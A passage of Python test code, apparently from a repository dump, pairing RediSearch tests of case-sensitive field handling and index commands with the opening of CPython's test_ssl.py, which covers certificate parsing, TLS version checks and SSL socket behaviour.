sesitive conn.execute_command('hset', 'doc8', 'G', '-113.524,53.5244') conn.execute_command('hset', 'doc9', 'g', '-113.524,53.5244') env.expect('ft.search', 'idx', '@g:[-113.52 53.52 20 mi]').equal([1L, 'doc9', ['g', '-113.524,53.5244']]) env.expect('ft.search', 'idx', '@G:[-113.52 53.52 20 mi]').equal([0]) # make sure search filter are case sensitive env.expect('ft.search', 'idx', '@n:[0 2]', 'FILTER', 'n', 0, 2).equal([1L, 'doc4', ['n', '1.0']]) env.expect('ft.search', 'idx', '@n:[0 2]', 'FILTER', 'N', 0, 2).equal([0]) # make sure RETURN are case sensitive env.expect('ft.search', 'idx', '@n:[0 2]', 'RETURN', '1', 'n').equal([1L, 'doc4', ['n', '1']]) env.expect('ft.search', 'idx', '@n:[0 2]', 'RETURN', '1', 'N').equal([1L, 'doc4', []]) # make sure SORTBY are case sensitive conn.execute_command('hset', 'doc7', 'n', '1.1') env.expect('ft.search', 'idx', '@n:[0 2]', 'SORTBY', 'n').equal([2L, 'doc4', ['n', '1.0'], 'doc7', ['n', '1.1']]) env.expect('ft.search', 'idx', '@n:[0 2]', 'SORTBY', 'N').error().contains('not loaded nor in schema') # make sure aggregation load are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n').equal([1L, ['n', '1'], ['n', '1.1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@N').equal([1L, [], []]) # make sure aggregation apply are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n', 'apply', '@n', 'as', 'r').equal([1L, ['n', '1', 'r', '1'], ['n', '1.1', 'r', '1.1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n', 'apply', '@N', 'as', 'r').error().contains('not loaded in pipeline') # make sure aggregation filter are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n', 'filter', '@n==1.0').equal([1L, ['n', '1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n', 'filter', '@N==1.0').error().contains('not loaded in pipeline') # make sure aggregation groupby are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n', 'groupby', '1', '@n', 'reduce', 'count', 0, 'as', 'count').equal([2L, ['n', '1', 'count', '1'], ['n', '1.1', 'count', '1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n', 'groupby', '1', '@N', 'reduce', 'count', 0, 'as', 'count').error().contains('No such property') # make sure aggregation sortby are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n', 'sortby', '1', '@n').equal([2L, ['n', '1'], ['n', '1.1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'LOAD', '1', '@n', 'sortby', '1', '@N').error().contains('not loaded') def testSortedFieldsCaseSensetive(env): # this test will not pass on coordinator coorently as if one shard return empty results coordinator # will not reflect the errors env.skipOnCluster() conn = getConnectionByEnv(env) env.cmd('FT.CREATE idx ON HASH SCHEMA n NUMERIC SORTABLE f TEXT SORTABLE t TAG SORTABLE g GEO SORTABLE') # make sure text fields are case sesitive conn.execute_command('hset', 'doc1', 'F', 'test') conn.execute_command('hset', 'doc2', 'f', 'test') env.expect('ft.search idx @f:test').equal([1L, 'doc2', ['f', 'test']]) env.expect('ft.search idx @F:test').equal([0]) # make sure numeric fields are case sesitive conn.execute_command('hset', 'doc3', 'N', '1.0') conn.execute_command('hset', 'doc4', 'n', '1.0') env.expect('ft.search', 'idx', '@n:[0 2]').equal([1L, 'doc4', ['n', '1.0']]) env.expect('ft.search', 'idx', '@N:[0 2]').equal([0]) # make sure tag fields are case sesitive conn.execute_command('hset', 'doc5', 'T', 'tag') conn.execute_command('hset', 'doc6', 't', 'tag') env.expect('ft.search', 'idx', '@t:{tag}').equal([1L, 'doc6', ['t', 'tag']]) env.expect('ft.search', 'idx', '@T:{tag}').equal([0]) # make sure geo fields are case sesitive conn.execute_command('hset', 'doc8', 'G', '-113.524,53.5244') conn.execute_command('hset', 'doc9', 'g', '-113.524,53.5244') env.expect('ft.search', 'idx', '@g:[-113.52 53.52 20 mi]').equal([1L, 'doc9', ['g', '-113.524,53.5244']]) env.expect('ft.search', 'idx', '@G:[-113.52 53.52 20 mi]').equal([0]) # make sure search filter are case sensitive env.expect('ft.search', 'idx', '@n:[0 2]', 'FILTER', 'n', 0, 2).equal([1L, 'doc4', ['n', '1.0']]) env.expect('ft.search', 'idx', '@n:[0 2]', 'FILTER', 'N', 0, 2).equal([0]) # make sure RETURN are case sensitive env.expect('ft.search', 'idx', '@n:[0 2]', 'RETURN', '1', 'n').equal([1L, 'doc4', ['n', '1']]) env.expect('ft.search', 'idx', '@n:[0 2]', 'RETURN', '1', 'N').equal([1L, 'doc4', []]) # make sure SORTBY are case sensitive conn.execute_command('hset', 'doc7', 'n', '1.1') env.expect('ft.search', 'idx', '@n:[0 2]', 'SORTBY', 'n').equal([2L, 'doc4', ['n', '1.0'], 'doc7', ['n', '1.1']]) env.expect('ft.search', 'idx', '@n:[0 2]', 'SORTBY', 'N').error().contains('not loaded nor in schema') # make sure aggregation apply are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'apply', '@n', 'as', 'r').equal([1L, ['n', '1', 'r', '1'], ['n', '1.1', 'r', '1.1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'apply', '@N', 'as', 'r').error().contains('not loaded in pipeline') # make sure aggregation filter are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'filter', '@n==1.0').equal([1L, ['n', '1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'filter', '@N==1.0').error().contains('not loaded in pipeline') # make sure aggregation groupby are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'groupby', '1', '@n', 'reduce', 'count', 0, 'as', 'count').equal([2L, ['n', '1', 'count', '1'], ['n', '1.1', 'count', '1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'groupby', '1', '@N', 'reduce', 'count', 0, 'as', 'count').error().contains('No such property') # make sure aggregation sortby are case sensitive env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'sortby', '1', '@n').equal([2L, ['n', '1'], ['n', '1.1']]) env.expect('ft.aggregate', 'idx', '@n:[0 2]', 'sortby', '1', '@N').error().contains('not loaded') def testScoreLangPayloadAreReturnedIfCaseNotMatchToSpecialFields(env): conn = getConnectionByEnv(env) env.cmd('FT.CREATE idx ON HASH SCHEMA n NUMERIC SORTABLE') conn.execute_command('hset', 'doc1', 'n', '1.0', '__Language', 'eng', '__Score', '1', '__Payload', '10') res = env.cmd('ft.search', 'idx', '@n:[0 2]') env.assertEqual(toSortedFlatList(res), toSortedFlatList([1L, 'doc1', ['n', '1.0', '__Language', 'eng', '__Score', '1', '__Payload', '10']])) def testReturnSameFieldDifferentCase(env): conn = getConnectionByEnv(env) env.cmd('FT.CREATE idx ON HASH SCHEMA n NUMERIC SORTABLE N NUMERIC SORTABLE') conn.execute_command('hset', 'doc1', 'n', '1.0', 'N', '2.0') env.expect('ft.search', 'idx', '@n:[0 2]', 'RETURN', '2', 'n', 'N').equal([1L, 'doc1', ['n', '1', 'N', '2']]) def testCreateIfNX(env): env.expect('FT._CREATEIFNX idx ON HASH SCHEMA n NUMERIC SORTABLE N NUMERIC SORTABLE').ok() env.expect('FT._CREATEIFNX idx ON HASH SCHEMA n NUMERIC SORTABLE N NUMERIC SORTABLE').ok() def testDropIfX(env): env.expect('FT._DROPIFX idx').ok() def testDeleteIfX(env): env.expect('FT._DROPINDEXIFX idx').ok() def testAlterIfNX(env): env.expect('FT.CREATE idx ON HASH SCHEMA n NUMERIC').ok() env.expect('FT._ALTERIFNX idx SCHEMA ADD n1 NUMERIC').ok() env.expect('FT._ALTERIFNX idx SCHEMA ADD n1 NUMERIC').ok() res = env.cmd('ft.info idx') res = {res[i]: res[i + 1] for i in range(0, len(res), 2)}['fields'] env.assertEqual(res, [['n', 'type', 'NUMERIC'], ['n1', 'type', 'NUMERIC']]) def testAliasAddIfNX(env): env.expect('FT.CREATE idx ON HASH SCHEMA n NUMERIC').ok() env.expect('FT._ALIASADDIFNX a1 idx').ok() env.expect('FT._ALIASADDIFNX a1 idx').ok() def testAliasDelIfX(env): env.expect('FT._ALIASDELIFX a1').ok() def testEmptyDoc(env): conn = getConnectionByEnv(env) env.expect('FT.CREATE idx SCHEMA t TEXT').ok() env.expect('FT.ADD idx doc1 1 FIELDS t foo').ok() env.expect('FT.ADD idx doc2 1 FIELDS t foo').ok() env.expect('FT.ADD idx doc3 1 FIELDS t foo').ok() env.expect('FT.ADD idx doc4 1 FIELDS t foo').ok() env.expect('FT.SEARCH idx * limit 0 0').equal([4]) conn.execute_command('DEL', 'doc1') conn.execute_command('DEL', 'doc3') env.expect('FT.SEARCH idx *').equal([2L, 'doc2', ['t', 'foo'], 'doc4', ['t', 'foo']]) def testRED47209(env): conn = getConnectionByEnv(env) env.expect('FT.CREATE idx SCHEMA t TEXT').ok() conn.execute_command('hset', 'doc1', 't', 'foo') if env.isCluster(): # on cluster we have WITHSCORES set unconditionally for FT.SEARCH res = [1L, 'doc1', ['t', 'foo']] else: res = [1L, 'doc1', None, ['t', 'foo']] env.expect('FT.SEARCH idx foo WITHSORTKEYS LIMIT 0 1').equal(res) def testInvertedIndexWasEntirelyDeletedDuringCursor(): env = Env(moduleArgs='GC_POLICY FORK FORK_GC_CLEAN_THRESHOLD 1') env.skipOnCluster() env.expect('FT.CREATE idx SCHEMA t TEXT').ok() env.expect('HSET doc1 t foo').equal(1) env.expect('HSET doc2 t foo').equal(1) res, cursor = env.cmd('FT.AGGREGATE idx foo WITHCURSOR COUNT 1') env.assertEqual(res, [1L, []]) # delete both documents and run the GC to clean 'foo' inverted index env.expect('DEL doc1').equal(1) env.expect('DEL doc2').equal(1) env.cmd('FT.DEBUG GC_FORCEINVOKE idx') # make sure the inverted index was cleaned env.expect('FT.DEBUG DUMP_INVIDX idx foo').error().contains('not find the inverted index') # read from the cursor res, cursor = env.cmd('FT.CURSOR READ idx %d' % cursor) env.assertEqual(res, [0L]) env.assertEqual(cursor, 0) def testNegativeOnly(env): conn = getConnectionByEnv(env) env.expect('FT.CREATE idx SCHEMA t TEXT').ok() conn.execute_command('HSET', 'doc1', 'not', 'foo') env.expect('FT.SEARCH idx *').equal([1L, 'doc1', ['not', 'foo']]) env.expect('FT.SEARCH', 'idx', '-bar').equal([1L, 'doc1', ['not', 'foo']]) def testNotOnly(env): conn = getConnectionByEnv(env) conn.execute_command('FT.CREATE', 'idx', 'SCHEMA', 'txt1', 'TEXT') conn.execute_command('HSET', 'a', 'txt1', 'hello', 'txt2', 'world') conn.execute_command('HSET', 'b', 'txt1', 'world', 'txt2', 'hello') env.expect('ft.search idx !world').equal([1L, 'b', ['txt1', 'world', 'txt2', 'hello']])
test_ssl.py
# Test the support for SSL and sockets import sys import unittest import unittest.mock from test import support import socket import select import time import datetime import gc import os import errno import pprint import urllib.request import threading import traceback import asyncore import weakref import platform import sysconfig import functools try: import ctypes except ImportError: ctypes = None ssl = support.import_module("ssl") from ssl import TLSVersion, _TLSContentType, _TLSMessageType Py_DEBUG = hasattr(sys, 'gettotalrefcount') Py_DEBUG_WIN32 = Py_DEBUG and sys.platform == 'win32' PROTOCOLS = sorted(ssl._PROTOCOL_NAMES) HOST = support.HOST IS_LIBRESSL = ssl.OPENSSL_VERSION.startswith('LibreSSL') IS_OPENSSL_1_1_0 = not IS_LIBRESSL and ssl.OPENSSL_VERSION_INFO >= (1, 1, 0) IS_OPENSSL_1_1_1 = not IS_LIBRESSL and ssl.OPENSSL_VERSION_INFO >= (1, 1, 1) PY_SSL_DEFAULT_CIPHERS = sysconfig.get_config_var('PY_SSL_DEFAULT_CIPHERS') PROTOCOL_TO_TLS_VERSION = {} for proto, ver in ( ("PROTOCOL_SSLv23", "SSLv3"), ("PROTOCOL_TLSv1", "TLSv1"), ("PROTOCOL_TLSv1_1", "TLSv1_1"), ): try: proto = getattr(ssl, proto) ver = getattr(ssl.TLSVersion, ver) except AttributeError: continue PROTOCOL_TO_TLS_VERSION[proto] = ver def data_file(*name): return os.path.join(os.path.dirname(__file__), *name) # The custom key and certificate files used in test_ssl are generated # using Lib/test/make_ssl_certs.py. # Other certificates are simply fetched from the Internet servers they # are meant to authenticate. CERTFILE = data_file("keycert.pem") BYTES_CERTFILE = os.fsencode(CERTFILE) ONLYCERT = data_file("ssl_cert.pem") ONLYKEY = data_file("ssl_key.pem") BYTES_ONLYCERT = os.fsencode(ONLYCERT) BYTES_ONLYKEY = os.fsencode(ONLYKEY) CERTFILE_PROTECTED = data_file("keycert.passwd.pem") ONLYKEY_PROTECTED = data_file("ssl_key.passwd.pem") KEY_PASSWORD = "somepass" CAPATH = data_file("capath") BYTES_CAPATH = os.fsencode(CAPATH) CAFILE_NEURONIO = data_file("capath", "4e1295a3.0") CAFILE_CACERT = data_file("capath", "5ed36f99.0") CERTFILE_INFO = { 'issuer': ((('countryName', 'XY'),), (('localityName', 'Castle Anthrax'),), (('organizationName', 'Python Software Foundation'),), (('commonName', 'localhost'),)), 'notAfter': 'Aug 26 14:23:15 2028 GMT', 'notBefore': 'Aug 29 14:23:15 2018 GMT', 'serialNumber': '98A7CF88C74A32ED', 'subject': ((('countryName', 'XY'),), (('localityName', 'Castle Anthrax'),), (('organizationName', 'Python Software Foundation'),), (('commonName', 'localhost'),)), 'subjectAltName': (('DNS', 'localhost'),), 'version': 3 } # empty CRL CRLFILE = data_file("revocation.crl") # Two keys and certs signed by the same CA (for SNI tests) SIGNED_CERTFILE = data_file("keycert3.pem") SIGNED_CERTFILE_HOSTNAME = 'localhost' SIGNED_CERTFILE_INFO = { 'OCSP': ('http://testca.pythontest.net/testca/ocsp/',), 'caIssuers': ('http://testca.pythontest.net/testca/pycacert.cer',), 'crlDistributionPoints': ('http://testca.pythontest.net/testca/revocation.crl',), 'issuer': ((('countryName', 'XY'),), (('organizationName', 'Python Software Foundation CA'),), (('commonName', 'our-ca-server'),)), 'notAfter': 'Jul 7 14:23:16 2028 GMT', 'notBefore': 'Aug 29 14:23:16 2018 GMT', 'serialNumber': 'CB2D80995A69525C', 'subject': ((('countryName', 'XY'),), (('localityName', 'Castle Anthrax'),), (('organizationName', 'Python Software Foundation'),), (('commonName', 'localhost'),)), 'subjectAltName': (('DNS', 'localhost'),), 'version': 3 } SIGNED_CERTFILE2 = data_file("keycert4.pem") SIGNED_CERTFILE2_HOSTNAME = 'fakehostname' SIGNED_CERTFILE_ECC = data_file("keycertecc.pem") SIGNED_CERTFILE_ECC_HOSTNAME = 'localhost-ecc' # Same certificate as pycacert.pem, but without extra text in file SIGNING_CA = data_file("capath", "ceff1710.0") # cert with all kinds of subject alt names ALLSANFILE = data_file("allsans.pem") IDNSANSFILE = data_file("idnsans.pem") REMOTE_HOST = "self-signed.pythontest.net" EMPTYCERT = data_file("nullcert.pem") BADCERT = data_file("badcert.pem") NONEXISTINGCERT = data_file("XXXnonexisting.pem") BADKEY = data_file("badkey.pem") NOKIACERT = data_file("nokia.pem") NULLBYTECERT = data_file("nullbytecert.pem") TALOS_INVALID_CRLDP = data_file("talos-2019-0758.pem") DHFILE = data_file("ffdh3072.pem") BYTES_DHFILE = os.fsencode(DHFILE) # Not defined in all versions of OpenSSL OP_NO_COMPRESSION = getattr(ssl, "OP_NO_COMPRESSION", 0) OP_SINGLE_DH_USE = getattr(ssl, "OP_SINGLE_DH_USE", 0) OP_SINGLE_ECDH_USE = getattr(ssl, "OP_SINGLE_ECDH_USE", 0) OP_CIPHER_SERVER_PREFERENCE = getattr(ssl, "OP_CIPHER_SERVER_PREFERENCE", 0) OP_ENABLE_MIDDLEBOX_COMPAT = getattr(ssl, "OP_ENABLE_MIDDLEBOX_COMPAT", 0) def has_tls_protocol(protocol): """Check if a TLS protocol is available and enabled :param protocol: enum ssl._SSLMethod member or name :return: bool """ if isinstance(protocol, str): assert protocol.startswith('PROTOCOL_') protocol = getattr(ssl, protocol, None) if protocol is None: return False if protocol in { ssl.PROTOCOL_TLS, ssl.PROTOCOL_TLS_SERVER, ssl.PROTOCOL_TLS_CLIENT }: # auto-negotiate protocols are always available return True name = protocol.name return has_tls_version(name[len('PROTOCOL_'):]) @functools.lru_cache def has_tls_version(version): """Check if a TLS/SSL version is enabled :param version: TLS version name or ssl.TLSVersion member :return: bool """ if version == "SSLv2": # never supported and not even in TLSVersion enum return False if isinstance(version, str): version = ssl.TLSVersion.__members__[version] # check compile time flags like ssl.HAS_TLSv1_2 if not getattr(ssl, f'HAS_{version.name}'): return False # check runtime and dynamic crypto policy settings. A TLS version may # be compiled in but disabled by a policy or config option. ctx = ssl.SSLContext() if ( hasattr(ctx, 'minimum_version') and ctx.minimum_version != ssl.TLSVersion.MINIMUM_SUPPORTED and version < ctx.minimum_version ): return False if ( hasattr(ctx, 'maximum_version') and ctx.maximum_version != ssl.TLSVersion.MAXIMUM_SUPPORTED and version > ctx.maximum_version ): return False return True def requires_tls_version(version): """Decorator to skip tests when a required TLS version is not available :param version: TLS version name or ssl.TLSVersion member :return: """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kw): if not has_tls_version(version): raise unittest.SkipTest(f"{version} is not available.") else: return func(*args, **kw) return wrapper return decorator requires_minimum_version = unittest.skipUnless( hasattr(ssl.SSLContext, 'minimum_version'), "required OpenSSL >= 1.1.0g" ) def handle_error(prefix): exc_format = ' '.join(traceback.format_exception(*sys.exc_info())) if support.verbose: sys.stdout.write(prefix + exc_format) def can_clear_options(): # 0.9.8m or higher return ssl._OPENSSL_API_VERSION >= (0, 9, 8, 13, 15) def no_sslv2_implies_sslv3_hello(): # 0.9.7h or higher return ssl.OPENSSL_VERSION_INFO >= (0, 9, 7, 8, 15) def have_verify_flags(): # 0.9.8 or higher return ssl.OPENSSL_VERSION_INFO >= (0, 9, 8, 0, 15) def _have_secp_curves(): if not ssl.HAS_ECDH: return False ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) try: ctx.set_ecdh_curve("secp384r1") except ValueError: return False else: return True HAVE_SECP_CURVES = _have_secp_curves() def utc_offset(): #NOTE: ignore issues like #1647654 # local time = utc time + utc offset if time.daylight and time.localtime().tm_isdst > 0: return -time.altzone # seconds return -time.timezone def asn1time(cert_time): # Some versions of OpenSSL ignore seconds, see #18207 # 0.9.8.i if ssl._OPENSSL_API_VERSION == (0, 9, 8, 9, 15): fmt = "%b %d %H:%M:%S %Y GMT" dt = datetime.datetime.strptime(cert_time, fmt) dt = dt.replace(second=0) cert_time = dt.strftime(fmt) # %d adds leading zero but ASN1_TIME_print() uses leading space if cert_time[4] == "0": cert_time = cert_time[:4] + " " + cert_time[5:] return cert_time needs_sni = unittest.skipUnless(ssl.HAS_SNI, "SNI support needed for this test") def test_wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS, *, cert_reqs=ssl.CERT_NONE, ca_certs=None, ciphers=None, certfile=None, keyfile=None, **kwargs): context = ssl.SSLContext(ssl_version) if cert_reqs is not None: if cert_reqs == ssl.CERT_NONE: context.check_hostname = False context.verify_mode = cert_reqs if ca_certs is not None: context.load_verify_locations(ca_certs) if certfile is not None or keyfile is not None: context.load_cert_chain(certfile, keyfile) if ciphers is not None: context.set_ciphers(ciphers) return context.wrap_socket(sock, **kwargs) def testing_context(server_cert=SIGNED_CERTFILE): """Create context client_context, server_context, hostname = testing_context() """ if server_cert == SIGNED_CERTFILE: hostname = SIGNED_CERTFILE_HOSTNAME elif server_cert == SIGNED_CERTFILE2: hostname = SIGNED_CERTFILE2_HOSTNAME else: raise ValueError(server_cert) client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.load_verify_locations(SIGNING_CA) server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(server_cert) server_context.load_verify_locations(SIGNING_CA) return client_context, server_context, hostname class BasicSocketTests(unittest.TestCase): def test_constants(self): ssl.CERT_NONE ssl.CERT_OPTIONAL ssl.CERT_REQUIRED ssl.OP_CIPHER_SERVER_PREFERENCE ssl.OP_SINGLE_DH_USE if ssl.HAS_ECDH: ssl.OP_SINGLE_ECDH_USE if ssl.OPENSSL_VERSION_INFO >= (1, 0): ssl.OP_NO_COMPRESSION self.assertIn(ssl.HAS_SNI, {True, False}) self.assertIn(ssl.HAS_ECDH, {True, False}) ssl.OP_NO_SSLv2 ssl.OP_NO_SSLv3 ssl.OP_NO_TLSv1 ssl.OP_NO_TLSv1_3 if ssl.OPENSSL_VERSION_INFO >= (1, 0, 1): ssl.OP_NO_TLSv1_1 ssl.OP_NO_TLSv1_2 self.assertEqual(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv23) def test_private_init(self): with self.assertRaisesRegex(TypeError, "public constructor"): with socket.socket() as s: ssl.SSLSocket(s) def test_str_for_enums(self): # Make sure that the PROTOCOL_* constants have enum-like string # reprs. proto = ssl.PROTOCOL_TLS self.assertEqual(str(proto), '_SSLMethod.PROTOCOL_TLS') ctx = ssl.SSLContext(proto) self.assertIs(ctx.protocol, proto) def test_random(self): v = ssl.RAND_status() if support.verbose: sys.stdout.write("\n RAND_status is %d (%s)\n" % (v, (v and "sufficient randomness") or "insufficient randomness")) data, is_cryptographic = ssl.RAND_pseudo_bytes(16) self.assertEqual(len(data), 16) self.assertEqual(is_cryptographic, v == 1) if v: data = ssl.RAND_bytes(16) self.assertEqual(len(data), 16) else: self.assertRaises(ssl.SSLError, ssl.RAND_bytes, 16) # negative num is invalid self.assertRaises(ValueError, ssl.RAND_bytes, -5) self.assertRaises(ValueError, ssl.RAND_pseudo_bytes, -5) if hasattr(ssl, 'RAND_egd'): self.assertRaises(TypeError, ssl.RAND_egd, 1) self.assertRaises(TypeError, ssl.RAND_egd, 'foo', 1) ssl.RAND_add("this is a random string", 75.0) ssl.RAND_add(b"this is a random bytes object", 75.0) ssl.RAND_add(bytearray(b"this is a random bytearray object"), 75.0) @unittest.skipUnless(os.name == 'posix', 'requires posix') def test_random_fork(self): status = ssl.RAND_status() if not status: self.fail("OpenSSL's PRNG has insufficient randomness") rfd, wfd = os.pipe() pid = os.fork() if pid == 0: try: os.close(rfd) child_random = ssl.RAND_pseudo_bytes(16)[0] self.assertEqual(len(child_random), 16) os.write(wfd, child_random) os.close(wfd) except BaseException: os._exit(1) else: os._exit(0) else: os.close(wfd) self.addCleanup(os.close, rfd) _, status = os.waitpid(pid, 0) self.assertEqual(status, 0) child_random = os.read(rfd, 16) self.assertEqual(len(child_random), 16) parent_random = ssl.RAND_pseudo_bytes(16)[0] self.assertEqual(len(parent_random), 16) self.assertNotEqual(child_random, parent_random) maxDiff = None def test_parse_cert(self): # note that this uses an 'unofficial' function in _ssl.c, # provided solely for this test, to exercise the certificate # parsing code self.assertEqual( ssl._ssl._test_decode_cert(CERTFILE), CERTFILE_INFO ) self.assertEqual( ssl._ssl._test_decode_cert(SIGNED_CERTFILE), SIGNED_CERTFILE_INFO ) # Issue #13034: the subjectAltName in some certificates # (notably projects.developer.nokia.com:443) wasn't parsed p = ssl._ssl._test_decode_cert(NOKIACERT) if support.verbose: sys.stdout.write("\n" + pprint.pformat(p) + "\n") self.assertEqual(p['subjectAltName'], (('DNS', 'projects.developer.nokia.com'), ('DNS', 'projects.forum.nokia.com')) ) # extra OCSP and AIA fields self.assertEqual(p['OCSP'], ('http://ocsp.verisign.com',)) self.assertEqual(p['caIssuers'], ('http://SVRIntl-G3-aia.verisign.com/SVRIntlG3.cer',)) self.assertEqual(p['crlDistributionPoints'], ('http://SVRIntl-G3-crl.verisign.com/SVRIntlG3.crl',)) def test_parse_cert_CVE_2019_5010(self): p = ssl._ssl._test_decode_cert(TALOS_INVALID_CRLDP) if support.verbose: sys.stdout.write("\n" + pprint.pformat(p) + "\n") self.assertEqual( p, { 'issuer': ( (('countryName', 'UK'),), (('commonName', 'cody-ca'),)), 'notAfter': 'Jun 14 18:00:58 2028 GMT', 'notBefore': 'Jun 18 18:00:58 2018 GMT', 'serialNumber': '02', 'subject': ((('countryName', 'UK'),), (('commonName', 'codenomicon-vm-2.test.lal.cisco.com'),)), 'subjectAltName': ( ('DNS', 'codenomicon-vm-2.test.lal.cisco.com'),), 'version': 3 } ) def test_parse_cert_CVE_2013_4238(self): p = ssl._ssl._test_decode_cert(NULLBYTECERT) if support.verbose: sys.stdout.write("\n" + pprint.pformat(p) + "\n") subject = ((('countryName', 'US'),), (('stateOrProvinceName', 'Oregon'),), (('localityName', 'Beaverton'),), (('organizationName', 'Python Software Foundation'),), (('organizationalUnitName', 'Python Core Development'),), (('commonName', 'null.python.org\x00example.org'),), (('emailAddress', 'python-dev@python.org'),)) self.assertEqual(p['subject'], subject) self.assertEqual(p['issuer'], subject) if ssl._OPENSSL_API_VERSION >= (0, 9, 8): san = (('DNS', 'altnull.python.org\x00example.com'), ('email', 'null@python.org\x00user@example.org'), ('URI', 'http://null.python.org\x00http://example.org'), ('IP Address', '192.0.2.1'), ('IP Address', '2001:DB8:0:0:0:0:0:1\n')) else: # OpenSSL 0.9.7 doesn't support IPv6 addresses in subjectAltName san = (('DNS', 'altnull.python.org\x00example.com'), ('email', 'null@python.org\x00user@example.org'), ('URI', 'http://null.python.org\x00http://example.org'), ('IP Address', '192.0.2.1'), ('IP Address', '<invalid>')) self.assertEqual(p['subjectAltName'], san) def test_parse_all_sans(self): p = ssl._ssl._test_decode_cert(ALLSANFILE) self.assertEqual(p['subjectAltName'], ( ('DNS', 'allsans'), ('othername', '<unsupported>'), ('othername', '<unsupported>'), ('email', 'user@example.org'), ('DNS', 'www.example.org'), ('DirName', ((('countryName', 'XY'),), (('localityName', 'Castle Anthrax'),), (('organizationName', 'Python Software Foundation'),), (('commonName', 'dirname example'),))), ('URI', 'https://www.python.org/'), ('IP Address', '127.0.0.1'), ('IP Address', '0:0:0:0:0:0:0:1\n'), ('Registered ID', '1.2.3.4.5') ) ) def test_DER_to_PEM(self): with open(CAFILE_CACERT, 'r') as f: pem = f.read() d1 = ssl.PEM_cert_to_DER_cert(pem) p2 = ssl.DER_cert_to_PEM_cert(d1) d2 = ssl.PEM_cert_to_DER_cert(p2) self.assertEqual(d1, d2) if not p2.startswith(ssl.PEM_HEADER + '\n'): self.fail("DER-to-PEM didn't include correct header:\n%r\n" % p2) if not p2.endswith('\n' + ssl.PEM_FOOTER + '\n'): self.fail("DER-to-PEM didn't include correct footer:\n%r\n" % p2) def test_openssl_version(self): n = ssl.OPENSSL_VERSION_NUMBER t = ssl.OPENSSL_VERSION_INFO s = ssl.OPENSSL_VERSION self.assertIsInstance(n, int) self.assertIsInstance(t, tuple) self.assertIsInstance(s, str) # Some sanity checks follow # >= 0.9 self.assertGreaterEqual(n, 0x900000) # < 3.0 self.assertLess(n, 0x30000000) major, minor, fix, patch, status = t self.assertGreaterEqual(major, 0) self.assertLess(major, 3) self.assertGreaterEqual(minor, 0) self.assertLess(minor, 256) self.assertGreaterEqual(fix, 0) self.assertLess(fix, 256) self.assertGreaterEqual(patch, 0) self.assertLessEqual(patch, 63) self.assertGreaterEqual(status, 0) self.assertLessEqual(status, 15) # Version string as returned by {Open,Libre}SSL, the format might change if IS_LIBRESSL: self.assertTrue(s.startswith("LibreSSL {:d}".format(major)), (s, t, hex(n))) else: self.assertTrue(s.startswith("OpenSSL {:d}.{:d}.{:d}".format(major, minor, fix)), (s, t, hex(n))) @support.cpython_only def test_refcycle(self): # Issue #7943: an SSL object doesn't create reference cycles with # itself. s = socket.socket(socket.AF_INET) ss = test_wrap_socket(s) wr = weakref.ref(ss) with support.check_warnings(("", ResourceWarning)): del ss self.assertEqual(wr(), None) def test_wrapped_unconnected(self): # Methods on an unconnected SSLSocket propagate the original # OSError raise by the underlying socket object. s = socket.socket(socket.AF_INET) with test_wrap_socket(s) as ss: self.assertRaises(OSError, ss.recv, 1) self.assertRaises(OSError, ss.recv_into, bytearray(b'x')) self.assertRaises(OSError, ss.recvfrom, 1) self.assertRaises(OSError, ss.recvfrom_into, bytearray(b'x'), 1) self.assertRaises(OSError, ss.send, b'x') self.assertRaises(OSError, ss.sendto, b'x', ('0.0.0.0', 0)) self.assertRaises(NotImplementedError, ss.dup) self.assertRaises(NotImplementedError, ss.sendmsg, [b'x'], (), 0, ('0.0.0.0', 0)) self.assertRaises(NotImplementedError, ss.recvmsg, 100) self.assertRaises(NotImplementedError, ss.recvmsg_into, [bytearray(100)]) def test_timeout(self): # Issue #8524: when creating an SSL socket, the timeout of the # original socket should be retained. for timeout in (None, 0.0, 5.0): s = socket.socket(socket.AF_INET) s.settimeout(timeout) with test_wrap_socket(s) as ss: self.assertEqual(timeout, ss.gettimeout()) def test_errors_sslwrap(self): sock = socket.socket() self.assertRaisesRegex(ValueError, "certfile must be specified", ssl.wrap_socket, sock, keyfile=CERTFILE) self.assertRaisesRegex(ValueError, "certfile must be specified for server-side operations", ssl.wrap_socket, sock, server_side=True) self.assertRaisesRegex(ValueError, "certfile must be specified for server-side operations", ssl.wrap_socket, sock, server_side=True, certfile="") with ssl.wrap_socket(sock, server_side=True, certfile=CERTFILE) as s: self.assertRaisesRegex(ValueError, "can't connect in server-side mode", s.connect, (HOST, 8080)) with self.assertRaises(OSError) as cm: with socket.socket() as sock: ssl.wrap_socket(sock, certfile=NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaises(OSError) as cm: with socket.socket() as sock: ssl.wrap_socket(sock, certfile=CERTFILE, keyfile=NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaises(OSError) as cm: with socket.socket() as 